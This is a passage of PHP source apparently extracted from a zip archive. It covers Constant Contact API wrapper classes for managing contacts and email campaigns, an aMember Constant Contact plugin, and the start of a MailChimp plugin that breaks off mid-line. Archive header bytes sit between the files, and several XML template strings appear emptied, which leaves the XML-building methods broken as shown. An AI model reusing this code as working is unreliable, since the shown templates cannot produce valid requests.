$contacts['next'] = $tmp[1]; } if (! empty($attributes['rel']) && $attributes['rel'] == 'first') { $tmp = explode($this->login, $attributes['href']); $contacts['first'] = $tmp[1]; } if (! empty($attributes['rel']) && $attributes['rel'] == 'current') { $tmp = explode($this->login, $attributes['href']); $contacts['current'] = $tmp[1]; } } foreach ($parsedReturn->entry as $item) { $tmp = array(); $tmp['id'] = (string) $item->id; $tmp['title'] = (string) $item->title; $tmp['status'] = (string) $item->content->Contact->Status; $tmp['EmailAddress'] = (string) $item->content->Contact->EmailAddress; $tmp['EmailType'] = (string) $item->content->Contact->EmailType; $tmp['Name'] = (string) $item->content->Contact->Name; $contacts['items'][] = $tmp; } return $contacts; } /** * Retrieves all the details for a specific contact identified by $email. * @param string $email * @return array with all information about the contact. */ public function getSubscriberDetails($email) { $contact = $this->getSubscribers($email); $fullContact = array(); $call = str_replace('http://', 'https://', $contact['items'][0]['id']); // Convert id URI to BASIC compliant $return = $this->doServerCall($call); $parsedReturn = simplexml_load_string($return); $fullContact['id'] = $parsedReturn->id; $fullContact['email_address'] = $parsedReturn->content->Contact->EmailAddress; $fullContact['first_name'] = $parsedReturn->content->Contact->FirstName; $fullContact['last_name'] = $parsedReturn->content->Contact->LastName; $fullContact['middle_name'] = $parsedReturn->content->Contact->MiddleName; $fullContact['company_name'] = $parsedReturn->content->Contact->CompanyName; $fullContact['job_title'] = $parsedReturn->content->Contact->JobTitle; $fullContact['home_number'] = $parsedReturn->content->Contact->HomePhone; $fullContact['work_number'] = $parsedReturn->content->Contact->WorkPhone; $fullContact['address_line_1'] = $parsedReturn->content->Contact->Addr1; $fullContact['address_line_2'] = $parsedReturn->content->Contact->Addr2; $fullContact['address_line_3'] = $parsedReturn->content->Contact->Addr3; $fullContact['city_name'] = (string) $parsedReturn->content->Contact->City; $fullContact['state_code'] = (string) $parsedReturn->content->Contact->StateCode; $fullContact['state_name'] = (string) $parsedReturn->content->Contact->StateName; $fullContact['country_code'] = $parsedReturn->content->Contact->CountryCode; $fullContact['zip_code'] = $parsedReturn->content->Contact->PostalCode; $fullContact['sub_zip_code'] = $parsedReturn->content->Contact->SubPostalCode; $fullContact['custom_field_1'] = $parsedReturn->content->Contact->CustomField1; $fullContact['custom_field_2'] = $parsedReturn->content->Contact->CustomField2; $fullContact['custom_field_3'] = $parsedReturn->content->Contact->CustomField3; $fullContact['custom_field_4'] = $parsedReturn->content->Contact->CustomField4; $fullContact['custom_field_5'] = $parsedReturn->content->Contact->CustomField5; $fullContact['custom_field_6'] = $parsedReturn->content->Contact->CustomField6; $fullContact['custom_field_7'] = $parsedReturn->content->Contact->CustomField7; $fullContact['custom_field_8'] = $parsedReturn->content->Contact->CustomField8; $fullContact['custom_field_9'] = $parsedReturn->content->Contact->CustomField9; $fullContact['custom_field_10'] = $parsedReturn->content->Contact->CustomField10; $fullContact['custom_field_11'] = $parsedReturn->content->Contact->CustomField11; $fullContact['custom_field_12'] = $parsedReturn->content->Contact->CustomField12; $fullContact['custom_field_13'] = $parsedReturn->content->Contact->CustomField13; $fullContact['custom_field_14'] = $parsedReturn->content->Contact->CustomField14; $fullContact['custom_field_15'] = $parsedReturn->content->Contact->CustomField15; $fullContact['notes'] = $parsedReturn->content->Contact->Note; $fullContact['mail_type'] = $parsedReturn->content->Contact->EmailType; $fullContact['status'] = $parsedReturn->content->Contact->Status; $fullContact['lists'] = array(); if ($parsedReturn->content->Contact->ContactLists->ContactList) { foreach ($parsedReturn->content->Contact->ContactLists->ContactList as $item) { $fullContact['lists'][] = trim((string) $item->Attributes()); } } return $fullContact; } /** * Method that modifies a contact State to DO NOT MAIL * @param string $email - contact email address * @return TRUE in case of success or FALSE otherwise */ public function deleteSubscriber($email) { if ( empty($email)) { return false; } $contact = $this->getSubscribers($email); $id = $contact['items'][0]['id']; $return = $this->doServerCall($id, '', 'DELETE'); if (! empty($return)) { return false; } return true; } /** * Method that modifies a contact State to REMOVED * @param string $email - contact email address * @return TRUE in case of success or FALSE otherwise */ public function removeSubscriber($email) { $contact = $this->getSubscriberDetails($email); $contact['lists'] = array(); $xml = $this->createContactXML($contact['id'], $contact); if ($this->editSubscriber($contact['id'], $xml)) { return true; } else { return false; } } /** * Upload a new contact to Constant Contact server * @param strong $contactXML - formatted XML with contact information * @return TRUE in case of success or FALSE otherwise */ public function addSubscriber($contactXML) { $call = $this->apiPath.'/contacts'; $return = $this->doServerCall($call, $contactXML, 'POST'); $parsedReturn = simplexml_load_string($return); if ($return) { return true; } else { $xml = simplexml_load_string($contactXML); $emailAddress = $xml->content->Contact->EmailAddress; if ($this->subscriberExists($emailAddress)){ $this->lastError = 'This contact already exists. Click here to edit the contact details.'; } else { $this->lastError = 'An Error Occurred'; } return false; } } /** * Modifies a contact * @param string $contactUrl - identifies the url for the modified contact * @param string $contactXML - formed XML with contact information * @return TRUE in case of success or FALSE otherwise */ public function editSubscriber($contactUrl, $contactXML) { $return = $this->doServerCall($contactUrl, $contactXML, 'PUT'); if (! empty($return)) { if (strpos($return, '<') !== false) { $parsedReturn = simplexml_load_string($return); if (! empty($parsedReturn->message)) { $this->lastError = $parsedReturn->message; } } else { $this->lastError = $parsedReturn->message; } return false; } return true; } /** * Method that compose the needed XML format for a contact * @param string $id * @param array $params * @return Formed XML */ public function createContactXML($id, $params = array()) { if ( empty($id)) { $id = "urn:uuid:E8553C09F4xcvxCCC53F481214230867087"; } $update_date = date("Y-m-d").'T'.date("H:i:s").'+01:00'; $xml_string = ""; $xml_object = simplexml_load_string($xml_string); $title_node = $xml_object->addChild("title", htmlspecialchars(("TitleNode"), ENT_QUOTES, 'UTF-8')); $updated_node = $xml_object->addChild("updated", htmlspecialchars(($update_date), ENT_QUOTES, 'UTF-8')); $author_node = $xml_object->addChild("author"); $author_name = $author_node->addChild("name", ("CTCT Samples")); $id_node = $xml_object->addChild("id", htmlspecialchars(($id),ENT_QUOTES, 'UTF-8')); $summary_node = $xml_object->addChild("summary", htmlspecialchars(("Customer document"),ENT_QUOTES, 'UTF-8')); $summary_node->addAttribute("type", "text"); $content_node = $xml_object->addChild("content"); $content_node->addAttribute("type", "application/vnd.ctct+xml"); $contact_node = $content_node->addChild("Contact", htmlspecialchars(("Customer document"), ENT_QUOTES, 'UTF-8')); $contact_node->addAttribute("xmlns", "http://ws.constantcontact.com/ns/1.0/"); $email_node = $contact_node->addChild("EmailAddress", htmlspecialchars(($params['email_address']), ENT_QUOTES, 'UTF-8')); $fname_node = $contact_node->addChild("FirstName", urldecode(htmlspecialchars(($params['first_name']), ENT_QUOTES, 'UTF-8'))); $lname_node = $contact_node->addChild("LastName", urldecode(htmlspecialchars(($params['last_name']), ENT_QUOTES, 'UTF-8'))); $lname_node = $contact_node->addChild("MiddleName", urldecode(htmlspecialchars(($params['middle_name']), ENT_QUOTES, 'UTF-8'))); $lname_node = $contact_node->addChild("CompanyName", urldecode(htmlspecialchars(($params['company_name']), ENT_QUOTES, 'UTF-8'))); $lname_node = $contact_node->addChild("JobTitle", urldecode(htmlspecialchars(($params['job_title']), ENT_QUOTES, 'UTF-8'))); if ($params['status'] == 'Do Not Mail') { $this->actionBy = 'ACTION_BY_CONTACT'; } $optin_node = $contact_node->addChild("OptInSource", htmlspecialchars($this->actionBy)); $hn_node = $contact_node->addChild("HomePhone", htmlspecialchars($params['home_number'], ENT_QUOTES, 'UTF-8')); $wn_node = $contact_node->addChild("WorkPhone", htmlspecialchars($params['work_number'], ENT_QUOTES, 'UTF-8')); $ad1_node = $contact_node->addChild("Addr1", htmlspecialchars($params['address_line_1'], ENT_QUOTES, 'UTF-8')); $ad2_node = $contact_node->addChild("Addr2", htmlspecialchars($params['address_line_2'], ENT_QUOTES, 'UTF-8')); $ad3_node = $contact_node->addChild("Addr3", htmlspecialchars($params['address_line_3'], ENT_QUOTES, 'UTF-8')); $city_node = $contact_node->addChild("City", htmlspecialchars($params['city_name'], ENT_QUOTES, 'UTF-8')); $state_node = $contact_node->addChild("StateCode", htmlspecialchars($params['state_code'], ENT_QUOTES, 'UTF-8')); $state_name = $contact_node->addChild("StateName", htmlspecialchars($params['state_name'], ENT_QUOTES, 'UTF-8')); $ctry_node = $contact_node->addChild("CountryCode", htmlspecialchars($params['country_code'], ENT_QUOTES, 'UTF-8')); $zip_node = $contact_node->addChild("PostalCode", htmlspecialchars($params['zip_code'], ENT_QUOTES, 'UTF-8')); $subzip_node = $contact_node->addChild("SubPostalCode", htmlspecialchars($params['sub_zip_code'], ENT_QUOTES, 'UTF-8')); $note_node = $contact_node->addChild("Note", htmlspecialchars($params['notes'], ENT_QUOTES, 'UTF-8')); $emailtype_node = $contact_node->addChild("EmailType", htmlspecialchars($params['mail_type'], ENT_QUOTES, 'UTF-8')); if (! empty($params['custom_fields'])) { foreach ($params['custom_fields'] as $k=>$v) { $contact_node->addChild("CustomField".$k, htmlspecialchars(($v), ENT_QUOTES, 'UTF-8')); } } $contactlists_node = $contact_node->addChild("ContactLists"); if ($params['lists']) { foreach ($params['lists'] as $tmp) { $contactlist_node = $contactlists_node->addChild("ContactList"); $contactlist_node->addAttribute("id", $tmp); } } $entry = $xml_object->asXML(); return $entry; } } /** * Class that is used for ConstantCampaign CRUD management */ class CC_Campaign extends CC_Utility { // set this to true to see the xml sent and the output received var $sent_recived_debug = false; var $usStates = array("AL", "AK", "AZ", "AR", "CA", "CO", "CT", "DE", "DC", "FL", "GA", "HI", "ID", "IL", "IN", "IA", "KS", "KY", "LA", "ME", "MD", "MA", "MI", "MN", "MS", "MO", "MT", "NE", "NV", "NH", "NJ", "NM", "NY", "NC", "ND", "OH", "OK", "OR", "PA", "RI", "SC", "SD", "TN", "TX", "UT", "VT", "VA", "WA", "WV", "WI", "WY"); var $caStates = array("AB", "BC", "MB", "NB", "NL", "NT", "NS", "NU", "ON", "PE", "QC", "SK", "YT"); var $armedForces = array("AA", "AE", "AP"); /** * Method that returns a html sample for email campaign * @param string $sample [default is EmailContent]: EmailContent, EmailTextContent or * PermissionReminder * @param string $type [default is html]: html or text * @return a default content for email content or permission reminder */ public function getEmailIntro($sample = 'EmailContent', $type = 'html') { switch($sample){ case 'EmailContent': $file = 'EmailContent.txt'; break; case 'EmailTextContent': $file = 'EmailContent.txt'; $type = 'text'; break; case 'PermissionReminder': $file = 'PermissionReminder.txt'; break; default: $file = 'EmailContent.txt'; } $handle = fopen("txt/$file", "rb"); $contents = ''; while (!feof($handle)) { $contents .= fread($handle, 8192); } $contents = ($type == 'html') ? ($contents) : (trim(strip_tags($contents))); fclose($handle); return $contents; } /** * Method that retrieves campaingn collections from ConstantCampaign * If campaign_id is mentioned then only mentioned campaign is retrieved. * If campaign_id represents a status [SENT, DRAFT, RUNNING, SCHEDULED] * only the campaigns with that status will be retrieved * @param string $campaign_id [default is empty] * @return Bi-Dimenstional array with information about campaigns. */ public function getCampaigns($campaign_id = '', $page = '') { $campaigns = array(); $campaigns['items'] = array(); switch($campaign_id){ case 'SENT': case 'DRAFT': case 'RUNNING': case 'SCHEDULED': $call = $this->apiPath.'/campaigns?status='.$campaign_id; break; case 'ALL': $call = (!empty($page)) ? ($this->apiPath.$page) : ($this->apiPath.'/campaigns'); break; default: $call = $this->apiPath.'/campaigns/'.$campaign_id; } $return = $this->doServerCall($call); $parsedReturn = simplexml_load_string($return); //we parse here the link array to establish which are the next page and previous page if($parsedReturn != false){ foreach ($parsedReturn->link as $item) { $attributes = $item->Attributes(); if (! empty($attributes['rel']) && $attributes['rel'] == 'next') { $tmp = explode($this->login, $attributes['href']); $campaigns['next'] = $tmp[1]; } if (! empty($attributes['rel']) && $attributes['rel'] == 'first') { $tmp = explode($this->login, $attributes['href']); $campaigns['first'] = $tmp[1]; } if (! empty($attributes['rel']) && $attributes['rel'] == 'current') { $tmp = explode($this->login, $attributes['href']); $campaigns['current'] = $tmp[1]; } } foreach ($parsedReturn->entry as $item) { $tmp = array(); $tmp['id'] = (string) $item->id; $tmp['title'] = (string) $item->title; $tmp['name'] = (string) $item->content->Campaign->Name; $tmp['status'] = (string) $item->content->Campaign->Status; $timestamp = strtotime($item->content->Campaign->Date); $campaig_date = date("F j, Y, g:i a", $timestamp); $tmp['date'] = (string) $campaig_date; $campaigns['items'][] = $tmp; } } return $campaigns; } /** * Retrieves all the details for a specific campaign identified by $id. * @param string $id * @return array with all information about the campaign. */ public function getCampaignDetails($id) { if (!empty($id)){ $fullContact = array(); $call = str_replace('http://', 'https://', $id); // Convert id URI to BASIC compliant $return = $this->doServerCall($call); $parsedReturn = simplexml_load_string($return); $fullCampaign['campaignId'] = $parsedReturn->id; $cmp_vars = get_object_vars($parsedReturn->content->Campaign); foreach ($cmp_vars as $var_name=>$cmp_item){ $fullCampaign[$var_name] = $cmp_item; } $cmp_from_email = $parsedReturn->content->Campaign->FromEmail->EmailAddress; $fullCampaign['FromEmail'] = (string) $cmp_from_email; $cmp_reply_email = $parsedReturn->content->Campaign->ReplyToEmail->EmailAddress; $fullCampaign['ReplyToEmail'] = (string) $cmp_reply_email; $fullCampaign['lists'] = array(); if ($parsedReturn->content->Campaign->ContactLists->ContactList) { foreach ($parsedReturn->content->Campaign->ContactLists->ContactList as $item) { $fullCampaign['lists'][] = trim((string) $item->Attributes()); } } return $fullCampaign; } else { return false; } } /** * Check if a specific campaign exist already * @param string $id * @param string $new_name * @return a boolean value. */ public function campaignExists($id = '', $new_name) { if(!empty($id)) { $call = $this->apiPath.'/campaigns/'.$id; $return = $this->doServerCall($call); $xml = simplexml_load_string($return); if ($xml !== false) { $id = $xml->content->Campaign->Attributes(); $id = $id['id']; $name = $xml->content->Campaign->Name; } else { $id = null; $name = null; } $all_campaigns = $this->getCampaigns('ALL'); $all_campaigns = $all_campaigns['items']; foreach ($all_campaigns as $key=>$item) { if ($item['name'] == $new_name) { return 1; // 1 - the new campaign has a similar name with an old one break; } } /** * 2 - this campaign already exist * 0 - this is a new campaign */ return ($id != null) ? (2) : (0); } } /** * Method that delete a camaign; this will exclude * the removed campaign from overall statistics * @param string $id - campaign id * @return TRUE in case of success or FALSE otherwise */ public function deleteCampaign($id) { if ( empty($id)) { return false; } $return = $this->doServerCall($id, '', 'DELETE'); if (! empty($return) || $return === false) { return false; } return true; } /** * Upload a new campaign to ConstantContact server * @param string $campaignXML - formatted XML with campaign information * @return TRUE in case of success or FALSE otherwise */ public function addCampaign($campaignXML) { $call = $this->apiPath.'/campaigns'; $return = $this->doServerCall($call, $campaignXML, 'POST'); $parsedReturn = simplexml_load_string($return); if ($return) { return true; } else { $xml = simplexml_load_string($campaignXML); $cmp_id = $xml->content->Campaign->Attributes(); $cmp_id = $cmp_id['id']; $cmp_name = $xml->content->Campaign->Name; if(!empty($cmp_id)) { $search_status = $this->campaignExists($cmp_id, $cmp_name); switch($search_status){ case 0: $error = 'An Error Occurred. The campaign could not be added.'; break; case 1: $error = 'The name of the campaign already exist. Each campaign must have a distinct name.'; break; case 2: $error = 'This campaign already exists.'; break; default: $error = 'An Error Occurred. The campaign could not be added.'; } $this->lastError = $error; } else { $this->lastError = 'An Error Occurred. The campaign could not be added.'; } return false; } } /** * Modifies a campaign * @param string $campaignId - identifies the id for the modified campaign * @param string $campaignXML - formed XML with campaign information * @return TRUE in case of success or FALSE otherwise */ public function editCampaign($campaignId, $campaignXML) { $return = $this->doServerCall($campaignId, $campaignXML, 'PUT'); if ($return === false) { $this->lastError = 'An Error Occurred. The campaign could not be edited.'; return false; } else { if (! empty($return)) { if (strpos($return, '<') !== false) { $parsedReturn = simplexml_load_string($return); if (! empty($parsedReturn->message)) { $this->lastError = $parsedReturn->message; } } else { $this->lastError = $parsedReturn->message; } return false; } return true; } } /** * Method that validate the current campaign before sending it to server * @param string $id * @param array $params * @return an error message or true */ public function validateCampaign( $id, $params = array() ) { if( trim($params['cmp_name'])== '' ) { $this->lastError = 'Campaign Name is mandatory.'; return true; } elseif( trim($params['cmp_subject'])== '' ) { $this->lastError = 'Subject is mandatory.'; return true; } elseif( trim($params['cmp_from_name'])== '' ) { $this->lastError = 'From Name is mandatory.'; return true; } elseif( trim($params['cmp_from_email'])== '' ) { $this->lastError = 'From Email Address is mandatory.'; return true; } elseif( trim($params['cmp_reply_email'])== '' ) { $this->lastError = 'Reply Email Address is mandatory.'; return true; } elseif( trim($params['cmp_grt_name'])== '' ) { $this->lastError = 'Greeting Name is mandatory.'; return true; } elseif( trim($params['cmp_org_name'])== '' ) { $this->lastError = 'Organization Name is mandatory.'; return true; } elseif( trim($params['cmp_org_addr1'])== '' ) { $this->lastError = 'Address 1 is mandatory.'; return true; } elseif( trim($params['cmp_org_city'])== '' ) { $this->lastError = 'City is mandatory.'; return true; } elseif( trim($params['org_zip'])== '' ) { $this->lastError = 'Zip/Postal Code is mandatory.'; return true; } elseif( trim($params['org_country'])== '' ) { $this->lastError = 'Country is mandatory.'; return true; } elseif( trim($params['cmp_html_body'])== '' ) { $this->lastError = 'HTML Body is mandatory.'; return true; } elseif ( $params["lists"] == NULL ) { $this->lastError = 'Choose at least one Campaign from the list.'; return true; } else { if( trim($params['cmp_perm_reminder'])== 'YES') { $reminder_text = $params['cmp_txt_reminder']; if(trim($reminder_text)== ''){ $this->lastError = 'Permission Reminder is required.'; return true; } } if(trim($params['org_country']) != '') { if( trim($params['org_country'])== 'us' ) { if(trim($params['org_state_us']) == '' ){ $this->lastError = 'State is mandatory.'; return true; } if ( in_array($params['org_state_us'], $this->caStates) ) { $this->lastError = 'US State is required.'; return true; } } elseif( trim($params['org_country'])== 'ca' ) { if(trim($params['org_state_us']) == '' ){ $this->lastError = 'State is mandatory.'; return true; } if ( in_array($params['org_state_us'], $this->usStates) ) { $this->lastError = 'CA State is required.'; return true; } } } if( trim($params['cmp_as_webpage'])== 'YES' ) { if(trim($params['cmp_as_webtxt'])== ''){ $this->lastError = 'Webpage Text is required.'; return true; } if(trim($params['cmp_as_weblink'])== ''){ $this->lastError = 'Webpage Link Text is required.'; return true; } } if( trim($params['cmp_forward'])== 'YES') { $fwd_email = $params['cmp_fwd_email']; if(trim($params['cmp_fwd_email'])== ''){ $this->lastError = 'Forward email is required.'; return true; } } if( trim($params['cmp_subscribe'])== 'YES') { if(trim($params['cmp_sub_link'])== ''){ $this->lastError = 'Subscribe me is required.'; return true; } } else { return false; } } } /** * Method that compose the needed XML format for a campaign * @param string $id * @param array $params * @return Formed XML */ public function createCampaignXML( $id, $params = array() ) { if (empty($id)) { // Add a new Campaign $id = str_replace('https://', 'http://', $this->apiPath."/campaigns/1100546096289"); $standard_id = str_replace('https://', 'http://', $this->apiPath."/campaigns"); } else { $standard_id = $id; } $href = str_replace("http://api.constantcontact.com", "", $id); $standard_href = str_replace("https://api.constantcontact.com", "", $this->apiPath."/campaigns"); $update_date = date("Y-m-d").'T'.date("H:i:s").'+01:00'; $xml_string = ""; $xml_object = simplexml_load_string($xml_string); $link_node = $xml_object->addChild("link"); $link_node->addAttribute("href", $standard_href); //[1st *href] $link_node->addAttribute("rel", "edit"); $id_node = $xml_object->addChild("id", $standard_id); //[1st *id] $title_node = $xml_object->addChild("title", htmlspecialchars($params['cmp_name'], ENT_QUOTES, 'UTF-8')); $title_node->addAttribute("type", "text"); $updated_node = $xml_object->addChild("updated", htmlentities($update_date)); $author_node = $xml_object->addChild("author"); $author_name = $author_node->addChild("name", htmlentities("Constant Contact")); $content_node = $xml_object->addChild("content"); $content_node->addAttribute("type", "application/vnd.ctct+xml"); $campaign_node = $content_node->addChild("Campaign"); $campaign_node->addAttribute("xmlns", "http://ws.constantcontact.com/ns/1.0/"); $campaign_node->addAttribute("id", $id); //[2nd *id] $name_node = $campaign_node->addChild("Name", urldecode(htmlspecialchars($params['cmp_name'], ENT_QUOTES, 'UTF-8'))); $campaign_status = !empty($params['cmp_status']) ? ($params['cmp_status']) : ('Draft'); $status_node = $campaign_node->addChild("Status", urldecode(htmlentities($campaign_status))); $campaign_date = !empty($params['cmp_date']) ? ($params['cmp_date']) : ($update_date); $date_node = $campaign_node->addChild("Date", urldecode(htmlentities($campaign_date))); $subj_node = $campaign_node->addChild("Subject", urldecode(htmlspecialchars($params['cmp_subject'], ENT_QUOTES, 'UTF-8'))); $from_name_node = $campaign_node->addChild("FromName", urldecode(htmlspecialchars($params['cmp_from_name'], ENT_QUOTES, 'UTF-8'))); $view_as_webpage = (!empty($params['cmp_as_webpage']) && $params['cmp_as_webpage'] == 'YES') ? ('YES') : ('NO'); $as_webpage_node = $campaign_node->addChild("ViewAsWebpage", urldecode(htmlentities($view_as_webpage))); #$as_web_lnk_txt = ($view_as_webpage == 'YES') ? ($params['cmp_as_weblink']) : (''); $as_web_lnk_txt = $params['cmp_as_weblink']; $as_weblink_node = $campaign_node->addChild("ViewAsWebpageLinkText", urldecode(htmlspecialchars(($as_web_lnk_txt), ENT_QUOTES, 'UTF-8'))); #$as_web_txt = ($view_as_webpage == 'YES') ? ($params['cmp_as_webtxt']) : (''); $as_web_txt = $params['cmp_as_webtxt']; $as_webtxt_node = $campaign_node->addChild("ViewAsWebpageText", urldecode(htmlspecialchars(($as_web_txt), ENT_QUOTES, 'UTF-8'))); $perm_reminder_node = $campaign_node->addChild("PermissionReminder", urldecode(htmlentities($params['cmp_perm_reminder']))); $permission_reminder_text = ($params['cmp_perm_reminder'] == 'YES') ? ($params['cmp_txt_reminder']) : (''); $text_reminder_node = $campaign_node->addChild("PermissionReminderText", urldecode(htmlspecialchars(($permission_reminder_text), ENT_QUOTES, 'UTF-8'))); $grt_sal_node = $campaign_node->addChild("GreetingSalutation", htmlspecialchars(($params['cmp_grt_sal']), ENT_QUOTES, 'UTF-8')); $grt_name_node = $campaign_node->addChild("GreetingName", htmlentities($params['cmp_grt_name'])); $grt_str_node = $campaign_node->addChild("GreetingString", htmlspecialchars($params['cmp_grt_str'], ENT_QUOTES, 'UTF-8')); $org_name_node = $campaign_node->addChild("OrganizationName", htmlspecialchars($params['cmp_org_name'], ENT_QUOTES, 'UTF-8')); $org_addr1_node = $campaign_node->addChild("OrganizationAddress1", htmlspecialchars($params['cmp_org_addr1'], ENT_QUOTES, 'UTF-8')); $org_addr2_node = $campaign_node->addChild("OrganizationAddress2", htmlspecialchars($params['cmp_org_addr2'], ENT_QUOTES, 'UTF-8')); $org_addr3_node = $campaign_node->addChild("OrganizationAddress3", htmlspecialchars($params['cmp_org_addr3'], ENT_QUOTES, 'UTF-8')); $org_city_node = $campaign_node->addChild("OrganizationCity", htmlspecialchars($params['cmp_org_city'], ENT_QUOTES, 'UTF-8')); switch($params['org_country']){ case 'us': $us_state = $params['org_state_us']; break; case 'ca': $us_state = $params['org_state_us']; break; default: $us_state = ''; } $org_state_us_node = $campaign_node->addChild("OrganizationState", htmlentities($us_state)); switch($params['org_country']){ case 'us': $international_state = ''; break; case 'ca': $international_state = ''; break; default: $international_state = htmlspecialchars($params['org_state'], ENT_QUOTES, 'UTF-8'); } $org_state_name = $campaign_node->addChild("OrganizationInternationalState", htmlentities($international_state)); $org_country_node = $campaign_node->addChild("OrganizationCountry", htmlentities($params['org_country'])); $org_zip_node = $campaign_node->addChild("OrganizationPostalCode", htmlspecialchars($params['org_zip'], ENT_QUOTES, 'UTF-8')); $include_fwd_email = (!empty($params['cmp_forward']) && $params['cmp_forward'] == 'YES') ? ('YES') : ('NO'); #$fwd_txt = ($include_fwd_email == 'YES') ? ($params['cmp_fwd_email']) :(''); $fwd_txt = $params['cmp_fwd_email']; $fwd_node = $campaign_node->addChild("IncludeForwardEmail", htmlentities($include_fwd_email)); $fwd_email_node = $campaign_node->addChild("ForwardEmailLinkText", htmlspecialchars(($fwd_txt), ENT_QUOTES, 'UTF-8')); $include_sub_link = (!empty($params['cmp_subscribe']) && $params['cmp_subscribe'] == 'YES') ? ('YES') : ('NO'); $sub_node = $campaign_node->addChild("IncludeSubscribeLink", htmlentities($include_sub_link)); #$sub_txt = ($include_sub_link == 'YES') ? ($params['cmp_sub_link']) : (''); $sub_txt = $params['cmp_sub_link']; $sub_link_node = $campaign_node->addChild("SubscribeLinkText", htmlspecialchars(($sub_txt), ENT_QUOTES, 'UTF-8')); $email_format_node = $campaign_node->addChild("EmailContentFormat", $params['cmp_mail_type']); if($params['cmp_type'] != 'STOCK'){ $html_body_node = $campaign_node->addChild("EmailContent", htmlspecialchars($params['cmp_html_body'], ENT_QUOTES, 'UTF-8')); $text_body_node = $campaign_node->addChild("EmailTextContent", "".htmlspecialchars(strip_tags($params['cmp_text_body']), ENT_QUOTES, 'UTF-8').""); $campaign_style_sheet = ($params['cmp_mail_type'] == 'XHTML') ? ($params['cmp_style_sheet']) : (''); $style_sheet_node = $campaign_node->addChild("StyleSheet", htmlspecialchars($campaign_style_sheet, ENT_QUOTES, 'UTF-8')); } $campaignlists_node = $campaign_node->addChild("ContactLists"); if ($params['lists']) { foreach ($params['lists'] as $list) { $campaignlist_node = $campaignlists_node->addChild("ContactList"); $campaignlist_node->addAttribute("id", $list); $campaignlink_node = $campaignlist_node->addChild("link"); $campaignlink_node->addAttribute("xmlns", "http://www.w3.org/2005/Atom"); $campaignlink_node->addAttribute("href", str_replace("http://api.constantcontact.com", "", $list)); $campaignlink_node->addAttribute("rel", "self"); } } $cmp_from_email = explode('|',$params['cmp_from_email']); $fromemail_node = $campaign_node->addChild("FromEmail"); $femail_node = $fromemail_node->addChild("Email"); $femail_node->addAttribute("id", $cmp_from_email[1]); $femail_node_link = $femail_node->addChild("link"); $femail_node_link->addAttribute("xmlns", "http://www.w3.org/2005/Atom"); $femail_node_link->addAttribute("href", str_replace("http://api.constantcontact.com", "", $cmp_from_email[1])); $femail_node_link->addAttribute("rel", "self"); $femail_addrs_node = $fromemail_node->addChild("EmailAddress", htmlentities($cmp_from_email[0])); $cmp_reply_email = explode('|',$params['cmp_reply_email']); $replyemail_node = $campaign_node->addChild("ReplyToEmail"); $remail_node = $replyemail_node->addChild("Email"); $remail_node->addAttribute("id", $cmp_reply_email[1]); $remail_node_link = $remail_node->addChild("link"); $remail_node_link->addAttribute("xmlns", "http://www.w3.org/2005/Atom"); $remail_node_link->addAttribute("href", str_replace("http://api.constantcontact.com", "", $cmp_reply_email[1])); $remail_node_link->addAttribute("rel", "self"); $remail_addrs_node = $replyemail_node->addChild("EmailAddress", htmlentities($cmp_reply_email[0])); $source_node = $xml_object->addChild("source"); $sourceid_node = $source_node->addChild("id", $standard_id); //[3th *id] $sourcetitle_node = $source_node->addChild("title", "Campaigns for customer: ".$this->login); $sourcetitle_node->addAttribute("type", "text"); $sourcelink1_node = $source_node->addChild("link"); $sourcelink1_node->addAttribute("href", "campaigns"); //[2nd *href] $sourcelink2_node = $source_node->addChild("link"); $sourcelink2_node->addAttribute("href", "campaigns"); //[3th *href] $sourcelink2_node->addAttribute("rel", "self"); $sourceauthor_node = $source_node->addChild("author"); $sauthor_name = $sourceauthor_node->addChild("name", $this->login); $sourceupdate_node = $source_node->addChild("updated", htmlentities($update_date)); $entry = $xml_object->asXML(); // $search = array('>', '\"', ' ', ' ', '"/>', '&', '&lt;', '�', '�'); // $replace = array('>', '"', '', '', '" />', '&', '<', '&Yuml;', '&yuml;'); // $entry = str_replace($search, $replace, $entry); if( $this->sent_recived_debug ) { echo "

    We sent the following XML:

    $entry

    "; } return $entry; } }PKq\NT. %constant-contact/constant-contact.phpnu[addText('username') ->setLabel('Constant Contact Username') ->addRule('required'); $form->addPassword('password') ->setLabel('Constant Contact Password') ->addRule('required'); $form->addPassword('apikey') ->setLabel('Constant Contact API Key') ->addRule('required'); } function isConfigured() { $apikey = $this->getConfig('apikey'); $username = $this->getConfig('username'); $password = $this->getConfig('password'); return!empty($apikey) && !empty($username) && !empty($password); } public function changeSubscription(User $user, array $addLists, array $deleteLists) { $ccContact = new CC_Contact($this->getConfig('username'), $this->getConfig('password'), $this->getConfig('apikey')); $postFields = array( 'status' => 'active', 'email_address' => $user->email, 'first_name' => $user->name_f, 'last_name' => $user->name_l, 'city_name' => $user->city, 'state_code' => $user->state, 'country_code' => $user->country, 'zip_code' => $user->zip, 'address_line_1' => $user->street, ); if ($ccContact->subscriberExists($user->email)) { $contact = $ccContact->getSubscriberDetails($user->email); $postFields['lists'] = @array_unique(@array_merge($addLists, @array_diff($contact['lists'], $deleteLists))); $contactXML = $ccContact->createContactXML($contact['id'], $postFields); $ccContact->editSubscriber($contact['id'], $contactXML); } else { $postFields['lists'] = $addLists; $contactXML = $ccContact->createContactXML(null, $postFields); $ccContact->addSubscriber($contactXML); } return true; } public function getLists() { $res = array(); $ccList = new CC_List($this->getConfig('username'), $this->getConfig('password'), $this->getConfig('apikey')); foreach ($ccList->getLists() as $list) $res[$list['id']] = array( 'title' => $list['title'] ); return $res; } }PKq\P{PP mailchimp.phpnu[addPassword('api_key', array('class' => 'el-wide'))->setLabel("MailChimp API Key"); $el->addRule('required'); $el->addRule('regex', 'API Key must be in form xxxxxxxxxxxx-xxx', '/^[a-zA-Z0-9]+-[a-zA-Z0-9]{2,4}$/'); $form->addAdvCheckbox('disable_double_optin')->setLabel("Disable Double Opt-in\n" . 'read more on mailchimp site'); } /** @return Am_Plugin_Mailchimp */ function getApi() { return new Am_Mailchimp_Api($this); } function isConfigured() { return (bool) $this->getConfig('api_key'); } public function changeEmail(User $user, $oldEmail, $newEmail) { $ef = 'email'; $list_ids = $this->getDi()->newsletterUserSubscriptionTable->getSubscribedIds($user->pk()); $lists = array(); foreach ($this->getDi()->newsletterListTable->loadIds($list_ids) as $list) { if ($list->plugin_id != $this->getId()) continue; $lists[] = $list->plugin_list_id; } $user->set($ef, $oldEmail)->toggleFrozen(true); $this->changeSubscription($user, array(), $lists); // subscribe again $user->set($ef, $newEmail)->toggleFrozen(false); $this->changeSubscription($user, $lists, array()); } public function changeSubscription(User $user, array $addLists, array 